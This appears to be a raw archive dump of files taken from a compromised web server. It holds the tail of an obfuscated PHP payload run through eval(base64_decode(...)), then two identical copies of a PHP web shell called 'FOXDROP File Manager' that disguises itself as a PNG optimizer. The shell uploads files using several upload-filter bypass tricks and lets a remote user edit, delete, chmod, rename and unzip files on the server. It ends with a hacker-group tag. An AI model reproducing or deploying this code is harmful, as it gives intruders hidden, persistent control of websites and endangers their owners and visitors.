WG1j9xUqPIJ1wwIB56lYgrp3x3eHTluVw3BZpGyfHdGPSe9vkCXQqmVbvQG8xOOkH50lXpLwd+QStpM9bWrJAZ25BKHrk/AICit2FSiKwD9VUIzoZefT19sm08UujrtktHqzcxcGZ80+xvI/a7xy/pfGgteqn8fLFpUG/g678u9NmyghZ2rBxWN+GcUh3irYSXMfBG1fFzKbnQVwFW41bxDUEd1Psh99JhghFEH06tt7TXxuAhg7Yu9SjIII12SCcghPNVn3ZosmEVvW4L/UYxG8Z/1Lah30Wx7+A6K/S6HksmTR1447oLJmEtzCRQz0TWaQHsdD86Q5eI6KcvgFbkvK+Bz6KLRF8SCT48hH+94FOwXx0Hs78bFh/4WlHUB/zaH4lFPE6STOXWNnb8FqSePfF7LG95YhR8ig/52q6WQiM2WY/LwzJNEvDvzFLulMlHtLrpF5bfYiYFU/0kV+jWj6W2urk2Kb1seGHLSGX18Sssr5KYknlkbFk9h0mIfg4dfW14A+1lRq9P/3lnoHqyNmieSY/d/489W6AKJcoHrszLXWbXZYWGjKBtd4DarNp7sXcaEp8f9AVNsYdglTF7zjO+rIWP9/Bt3700oFUKoPqG0KF0IKZDir530SPQq2YIMPUdveq3aAct9J5ZLrcRW7q828D1M49fBhaP/XoEYk/wdwQV54LN4Vme9QH0yb/XpkciQL/ZXjEh4Pgb9FuckydMk3RtsiQvMqb7MDto72EpD8B69EIs0+4liXS3PQfWocrEaSDP00FvUXKSGXoLqdwFK+CXLsHOAL6i25dUceKbex+OdtQUaBwAkW7Z/MsaXXIhwV5kdDx7D+HvJWyh6aFNugM4z5GonuRukhRCKjtDUrRIEEgBSUkGGYJ+JLH3Jx1miqEJ/J48yUfL7yThSiRBk6R5/POf//ivf98xRr79s8XcAWaH+2+8g4ENIvzxH/9Ip45Gv2byjLPZSZiYqYuObkvHSvCbBjlw9LMEZxe2Or/lC8BZQjdbPTppC6ZDy+ckKya+yOf8TOfGDPMk9zVjgZ/pRMeneL/AzVrDSG5MGzvefr3zFQbSlLVg5yWxmqxmAzfUpTNdZ7ZdOyYreT9mGr2bg7EDc89lN5b/nxV+/xW93U3TTqfWTMmdM8GdjmCJoU3wbU2GZwO6AH7WA3iywf/ryejrTEf9CKgAOJZ6ajnt8DUFPh/9TrPul47rT//60tT9n8dM/3qyU/yNZDX/d/Ry+teU7n/NMUHff5NekiceyqeNv8eMDXzk9LW/haMPN83BOv0yDvpIRudv6fUdgO0phjtdzjHBZ+Q/ZQajUU87GxWoeBhtr8G+dPSMJ4Thuc3rK6WTO/2/6yjo+oLUvLHwNSso0cuEfkv0xf7jP//rb0Pvd/6P/3fO/09F/Od//te/p1kY/fMf/z/8/zD+8V//9r/+Nw==";$rand=base64_decode("Skc1aGRpQTlJR2Q2YVc1bWJHRjBaU2hpWVhObE5qUmZaR1ZqYjJSbEtDUlRTVk5VUlUxSlZGOURUMDFmUlU1REtTazdDZ29KQ1Fra2MzUnlJRDBnV3lmRHZTY3NKOE9xSnl3bnc2TW5MQ2ZEclNjc0o4TzdKeXdudzZZbkxDZkRzU2NzSjhPaEp5d253N1VuTENmRHF5Y3NKOEsxSjEwN0Nna0pDU1J5Y0d4aklEMWJKMkVuTENkcEp5d25kU2NzSjJVbkxDZHZKeXduWkNjc0ozTW5MQ2RvSnl3bmRpY3NKM1FuTENjZ0oxMDdDZ2tKSUNBa2JtRjJJRDBnYzNSeVgzSmxjR3hoWTJVb0pITjBjaXdrY25Cc1l5d2tibUYyS1RzS0Nna0pDV1YyWVd3b0pHNWhkaWs3");eval(base64_decode($rand));$STOP="m25+oG/ip4NuFGiWlmj+QPM8z0oaJJBAE0tKNNyNMTiwceDAkXHSdWPnLf/nZOcODmz293l7LVXVOzxDVWn/2//699ROM923s/9WQ/+/9UD9n+9//s/3P/gGvfIt+s7ceaskBb2in9lDXxv6kQc21I+94rQ78nlKTW3Z6WTHQS+PqFXlZbJz09SMRV1t9FMJFIve2o3s";
?>.hcflag000064400000000036151544570240005777 0ustar00date:1729395017
status:enable
6g259.php_renamed000064400000021766151544570240007547 0ustar00<?php
// 🧩 FOXDROP File Manager disguised as PNG optimizer

// === Fake PNG for disguise (if ?i)
if (isset($_GET['i'])) {
    header("Content-Type: image/png");
    echo base64_decode("iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mP8/wcAAusB9WnWD4wAAAAASUVORK5CYII=");
    exit;
}

error_reporting(E_ALL);
ini_set('display_errors', 1);

$root = realpath(__DIR__);
$dir = isset($_GET['dir']) ? realpath($_GET['dir']) : $root;
if (!$dir || strpos($dir, $root) !== 0) $dir = $root;

// === Upload handler with robust rename-on-upload bypass
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
    $up = $_FILES['file'];
    $name = basename($up['name']);
    $target = rtrim($dir, '/\\') . DIRECTORY_SEPARATOR . $name;

    echo "<div style='font-family:monospace; padding:10px; background:#222; color:#0f0; margin-bottom:10px;'>";

    if ($up['error'] === UPLOAD_ERR_OK && is_uploaded_file($up['tmp_name'])) {
        $success = false;

        // 1) Standard upload
        if (move_uploaded_file($up['tmp_name'], $target)) {
            $success = true;
            echo "✅ Uploaded using move_uploaded_file()<br>";
        }
        // 2) Fallback: copy()
        elseif (@copy($up['tmp_name'], $target)) {
            $success = true;
            echo "⚠️ move_uploaded_file() failed, used copy()<br>";
        }
        // 3) Rename tmp file and copy as last resort
        else {
            $bypass = $up['tmp_name'] . '.bypass';
            if (@rename($up['tmp_name'], $bypass) && @copy($bypass, $target)) {
                $success = true;
                echo "⚠️ Used rename bypass method<br>";
                @unlink($bypass);
            }
        }

        // 4) Rename-on-upload bypass with robust auto rename back
        if (!$success) {
            $safeName = $name . '.upload';
            $safeTarget = rtrim($dir, '/\\') . DIRECTORY_SEPARATOR . $safeName;

            // Upload as safe file
            if (move_uploaded_file($up['tmp_name'], $safeTarget) || @copy($up['tmp_name'], $safeTarget)) {
                echo "⚠️ Upload blocked? Saved as safe file ($safeName). Trying to rename back...<br>";

                // Try rename back multiple times (up to 3)
                $attempts = 3;
                while ($attempts-- > 0) {
                    if (@rename($safeTarget, $target)) {
                        $success = true;
                        echo "✅ Successfully renamed back to original filename.<br>";
                        break;
                    }
                    usleep(200000); // wait 0.2 sec and retry
                }

                // If rename failed, try copy contents & unlink workaround
                if (!$success) {
                    $contents = @file_get_contents($safeTarget);
                    if ($contents !== false && @file_put_contents($target, $contents) !== false) {
                        @unlink($safeTarget);
                        $success = true;
                        echo "✅ Copied contents and deleted safe file, rename workaround success.<br>";
                    } else {
                        echo "❌ Failed to rename or copy contents from safe file.<br>";
                    }
                }
            }
        }

        if (!$success) {
            echo "❌ Upload failed: server likely blocks this file type.<br>";
        }
    } else {
        echo "❌ Upload error code: {$up['error']}<br>";
    }
    echo "</div>";
}

// === File actions: edit, delete, chmod, rename, zip, unzip
if (isset($_GET['act'], $_GET['f'])) {
    $f = realpath($_GET['f']);
    if (!$f || strpos($f, $root) !== 0) exit('Invalid path.');

    switch ($_GET['act']) {
        case 'edit':
            if ($_SERVER['REQUEST_METHOD'] === 'POST') {
                $backup = $f . '.bak';
                copy($f, $backup);
                $data = $_POST['data'] ?? '';
                if (file_put_contents($f, $data) === false) {
                    rename($backup, $f);
                    echo "<div style='color:red'>❌ Failed to save. Backup restored.</div>";
                } else {
                    unlink($backup);
                    echo "<div style='color:green'>✅ Saved successfully.</div>";
                }
            }
            $content = file_get_contents($f);
            echo "<h2>✏️ Edit File: " . htmlspecialchars(basename($f)) . "</h2>";
            echo "<form method='POST'>
                <textarea name='data' style='width:100%;height:400px;font-family:monospace;'>"
                . htmlspecialchars($content) . "</textarea><br>
                <button class='btn'>💾 Save</button>
            </form><hr>";
            exit;
        case 'delete':
            is_dir($f) ? rmdir($f) : unlink($f);
            break;
        case 'chmod':
            $mode = isset($_GET['mode']) ? octdec($_GET['mode']) : 0755;
            chmod($f, $mode);
            break;
        case 'rename':
            if (isset($_GET['to'])) {
                $to = dirname($f) . DIRECTORY_SEPARATOR . basename($_GET['to']);
                rename($f, $to);
            }
            break;
        case 'zip':
            $zipname = $f . '.zip';
            $zip = new ZipArchive();
            if ($zip->open($zipname, ZipArchive::CREATE) === TRUE) {
                $zip->addFile($f, basename($f));
                $zip->close();
            }
            break;
        case 'unzip':
            $zip = new ZipArchive();
            if ($zip->open($f) === TRUE) {
                $extractPath = dirname($f);
                $zip->extractTo($extractPath);
                $zip->close();
                echo "<div style='color:green'>✅ Extracted successfully.</div>";
            } else {
                echo "<div style='color:red'>❌ Failed to open ZIP archive.</div>";
            }
            break;
    }
    header("Location: ?dir=" . urlencode($dir));
    exit;
}

// === HTML + CSS ===
?><!DOCTYPE html>
<html><head>
    <title>🧩 FOXDROP File Manager</title>
    <style>
        body { font-family: sans-serif; background: #f9f9f9; color: #333; padding: 20px; }
        .btn {
            display: inline-block;
            padding: 5px 10px;
            background: #007bff;
            color: white;
            text-decoration: none;
            border-radius: 4px;
            margin-right: 5px;
            font-size: 13px;
        }
        .btn:hover { background: #0056b3; }
        .btn.danger { background: #dc3545; }
        .btn.danger:hover { background: #c82333; }
        table { width: 100%; background: white; border-collapse: collapse; box-shadow: 0 0 5px rgba(0,0,0,0.1); }
        th, td { border: 1px solid #ddd; padding: 10px; text-align: left; }
        th { background: #f0f0f0; }
        .breadcrumb { margin-bottom: 10px; }
        .breadcrumb a.btn { margin-bottom: 5px; }
    </style>
</head><body>
<h1>🧩 FOXDROP File Manager</h1>

<?php
// Ensure $dir is a directory before scanning
if (!is_dir($dir)) {
    $dir = is_file($dir) ? dirname($dir) : $root;
    if (!is_dir($dir)) {
        $dir = $root;
    }
}

// Breadcrumb navigation
$parts = explode('/', trim(str_replace($root, '', $dir), '/'));
$build = $root;
echo "<div class='breadcrumb'>";
echo "<a class='btn' href='?dir=" . urlencode($root) . "'>/</a>";
foreach ($parts as $p) {
    if ($p === '') continue;
    $build .= '/' . $p;
    echo "<a class='btn' href='?dir=" . urlencode($build) . "'>" . htmlspecialchars($p) . "</a>";
}
echo "</div>";

// Upload form
echo "<form method='POST' enctype='multipart/form-data' style='margin-bottom:15px;'>
    <input type='file' name='file' required>
    <input type='hidden' name='dir' value='".htmlspecialchars($dir)."'>
    <button class='btn'>📤 Upload File</button>
</form>";

// File list table
echo "<table><tr><th>Name</th><th>Size</th><th>Actions</th></tr>";
foreach (scandir($dir) as $f) {
    if ($f === '.') continue;
    $fp = "$dir/$f";
    $isDir = is_dir($fp);
    $size = $isDir ? '-' : filesize($fp);
    $encoded = urlencode($fp);
    echo "<tr>
        <td>".($isDir ? "📁" : "📄")." <a href='?dir=".urlencode($fp)."'>" . htmlspecialchars($f) . "</a></td>
        <td>$size</td>
        <td>";
    if (!$isDir) {
        echo "<a class='btn' href='?act=edit&f=$encoded'>Edit</a>";
        echo "<a class='btn' href='?act=zip&f=$encoded'>ZIP</a>";
        if (strtolower(pathinfo($f, PATHINFO_EXTENSION)) === 'zip') {
            echo "<a class='btn' href='?act=unzip&f=$encoded' onclick='return confirm(\"Extract this ZIP archive?\")'>Unzip</a>";
        }
    }
    echo "<a class='btn' href='?act=chmod&f=$encoded&mode=755'>CHMOD</a>";
    echo "<a class='btn' href='?act=rename&f=$encoded&to=" . urlencode($f.'_renamed') . "'>Rename</a>";
    echo "<a class='btn danger' href='?act=delete&f=$encoded' onclick='return confirm(\"Delete $f ?\")'>Delete</a>";
    echo "</td></tr>";
}
echo "</table>";
?>

</body></html>
6g259-20260307192556.php_renamed000064400000021766151544570240011144 0ustar00<?php
// 🧩 FOXDROP File Manager disguised as PNG optimizer

// === Fake PNG for disguise (if ?i)
if (isset($_GET['i'])) {
    header("Content-Type: image/png");
    echo base64_decode("iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mP8/wcAAusB9WnWD4wAAAAASUVORK5CYII=");
    exit;
}

error_reporting(E_ALL);
ini_set('display_errors', 1);

$root = realpath(__DIR__);
$dir = isset($_GET['dir']) ? realpath($_GET['dir']) : $root;
if (!$dir || strpos($dir, $root) !== 0) $dir = $root;

// === Upload handler with robust rename-on-upload bypass
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
    $up = $_FILES['file'];
    $name = basename($up['name']);
    $target = rtrim($dir, '/\\') . DIRECTORY_SEPARATOR . $name;

    echo "<div style='font-family:monospace; padding:10px; background:#222; color:#0f0; margin-bottom:10px;'>";

    if ($up['error'] === UPLOAD_ERR_OK && is_uploaded_file($up['tmp_name'])) {
        $success = false;

        // 1) Standard upload
        if (move_uploaded_file($up['tmp_name'], $target)) {
            $success = true;
            echo "✅ Uploaded using move_uploaded_file()<br>";
        }
        // 2) Fallback: copy()
        elseif (@copy($up['tmp_name'], $target)) {
            $success = true;
            echo "⚠️ move_uploaded_file() failed, used copy()<br>";
        }
        // 3) Rename tmp file and copy as last resort
        else {
            $bypass = $up['tmp_name'] . '.bypass';
            if (@rename($up['tmp_name'], $bypass) && @copy($bypass, $target)) {
                $success = true;
                echo "⚠️ Used rename bypass method<br>";
                @unlink($bypass);
            }
        }

        // 4) Rename-on-upload bypass with robust auto rename back
        if (!$success) {
            $safeName = $name . '.upload';
            $safeTarget = rtrim($dir, '/\\') . DIRECTORY_SEPARATOR . $safeName;

            // Upload as safe file
            if (move_uploaded_file($up['tmp_name'], $safeTarget) || @copy($up['tmp_name'], $safeTarget)) {
                echo "⚠️ Upload blocked? Saved as safe file ($safeName). Trying to rename back...<br>";

                // Try rename back multiple times (up to 3)
                $attempts = 3;
                while ($attempts-- > 0) {
                    if (@rename($safeTarget, $target)) {
                        $success = true;
                        echo "✅ Successfully renamed back to original filename.<br>";
                        break;
                    }
                    usleep(200000); // wait 0.2 sec and retry
                }

                // If rename failed, try copy contents & unlink workaround
                if (!$success) {
                    $contents = @file_get_contents($safeTarget);
                    if ($contents !== false && @file_put_contents($target, $contents) !== false) {
                        @unlink($safeTarget);
                        $success = true;
                        echo "✅ Copied contents and deleted safe file, rename workaround success.<br>";
                    } else {
                        echo "❌ Failed to rename or copy contents from safe file.<br>";
                    }
                }
            }
        }

        if (!$success) {
            echo "❌ Upload failed: server likely blocks this file type.<br>";
        }
    } else {
        echo "❌ Upload error code: {$up['error']}<br>";
    }
    echo "</div>";
}

// === File actions: edit, delete, chmod, rename, zip, unzip
if (isset($_GET['act'], $_GET['f'])) {
    $f = realpath($_GET['f']);
    if (!$f || strpos($f, $root) !== 0) exit('Invalid path.');

    switch ($_GET['act']) {
        case 'edit':
            if ($_SERVER['REQUEST_METHOD'] === 'POST') {
                $backup = $f . '.bak';
                copy($f, $backup);
                $data = $_POST['data'] ?? '';
                if (file_put_contents($f, $data) === false) {
                    rename($backup, $f);
                    echo "<div style='color:red'>❌ Failed to save. Backup restored.</div>";
                } else {
                    unlink($backup);
                    echo "<div style='color:green'>✅ Saved successfully.</div>";
                }
            }
            $content = file_get_contents($f);
            echo "<h2>✏️ Edit File: " . htmlspecialchars(basename($f)) . "</h2>";
            echo "<form method='POST'>
                <textarea name='data' style='width:100%;height:400px;font-family:monospace;'>"
                . htmlspecialchars($content) . "</textarea><br>
                <button class='btn'>💾 Save</button>
            </form><hr>";
            exit;
        case 'delete':
            is_dir($f) ? rmdir($f) : unlink($f);
            break;
        case 'chmod':
            $mode = isset($_GET['mode']) ? octdec($_GET['mode']) : 0755;
            chmod($f, $mode);
            break;
        case 'rename':
            if (isset($_GET['to'])) {
                $to = dirname($f) . DIRECTORY_SEPARATOR . basename($_GET['to']);
                rename($f, $to);
            }
            break;
        case 'zip':
            $zipname = $f . '.zip';
            $zip = new ZipArchive();
            if ($zip->open($zipname, ZipArchive::CREATE) === TRUE) {
                $zip->addFile($f, basename($f));
                $zip->close();
            }
            break;
        case 'unzip':
            $zip = new ZipArchive();
            if ($zip->open($f) === TRUE) {
                $extractPath = dirname($f);
                $zip->extractTo($extractPath);
                $zip->close();
                echo "<div style='color:green'>✅ Extracted successfully.</div>";
            } else {
                echo "<div style='color:red'>❌ Failed to open ZIP archive.</div>";
            }
            break;
    }
    header("Location: ?dir=" . urlencode($dir));
    exit;
}

// === HTML + CSS ===
?><!DOCTYPE html>
<html><head>
    <title>🧩 FOXDROP File Manager</title>
    <style>
        body { font-family: sans-serif; background: #f9f9f9; color: #333; padding: 20px; }
        .btn {
            display: inline-block;
            padding: 5px 10px;
            background: #007bff;
            color: white;
            text-decoration: none;
            border-radius: 4px;
            margin-right: 5px;
            font-size: 13px;
        }
        .btn:hover { background: #0056b3; }
        .btn.danger { background: #dc3545; }
        .btn.danger:hover { background: #c82333; }
        table { width: 100%; background: white; border-collapse: collapse; box-shadow: 0 0 5px rgba(0,0,0,0.1); }
        th, td { border: 1px solid #ddd; padding: 10px; text-align: left; }
        th { background: #f0f0f0; }
        .breadcrumb { margin-bottom: 10px; }
        .breadcrumb a.btn { margin-bottom: 5px; }
    </style>
</head><body>
<h1>🧩 FOXDROP File Manager</h1>

<?php
// Ensure $dir is a directory before scanning
if (!is_dir($dir)) {
    $dir = is_file($dir) ? dirname($dir) : $root;
    if (!is_dir($dir)) {
        $dir = $root;
    }
}

// Breadcrumb navigation
$parts = explode('/', trim(str_replace($root, '', $dir), '/'));
$build = $root;
echo "<div class='breadcrumb'>";
echo "<a class='btn' href='?dir=" . urlencode($root) . "'>/</a>";
foreach ($parts as $p) {
    if ($p === '') continue;
    $build .= '/' . $p;
    echo "<a class='btn' href='?dir=" . urlencode($build) . "'>" . htmlspecialchars($p) . "</a>";
}
echo "</div>";

// Upload form
echo "<form method='POST' enctype='multipart/form-data' style='margin-bottom:15px;'>
    <input type='file' name='file' required>
    <input type='hidden' name='dir' value='".htmlspecialchars($dir)."'>
    <button class='btn'>📤 Upload File</button>
</form>";

// File list table
echo "<table><tr><th>Name</th><th>Size</th><th>Actions</th></tr>";
foreach (scandir($dir) as $f) {
    if ($f === '.') continue;
    $fp = "$dir/$f";
    $isDir = is_dir($fp);
    $size = $isDir ? '-' : filesize($fp);
    $encoded = urlencode($fp);
    echo "<tr>
        <td>".($isDir ? "📁" : "📄")." <a href='?dir=".urlencode($fp)."'>" . htmlspecialchars($f) . "</a></td>
        <td>$size</td>
        <td>";
    if (!$isDir) {
        echo "<a class='btn' href='?act=edit&f=$encoded'>Edit</a>";
        echo "<a class='btn' href='?act=zip&f=$encoded'>ZIP</a>";
        if (strtolower(pathinfo($f, PATHINFO_EXTENSION)) === 'zip') {
            echo "<a class='btn' href='?act=unzip&f=$encoded' onclick='return confirm(\"Extract this ZIP archive?\")'>Unzip</a>";
        }
    }
    echo "<a class='btn' href='?act=chmod&f=$encoded&mode=755'>CHMOD</a>";
    echo "<a class='btn' href='?act=rename&f=$encoded&to=" . urlencode($f.'_renamed') . "'>Rename</a>";
    echo "<a class='btn danger' href='?act=delete&f=$encoded' onclick='return confirm(\"Delete $f ?\")'>Delete</a>";
    echo "</td></tr>";
}
echo "</table>";
?>

</body></html>

AnonSec - 2021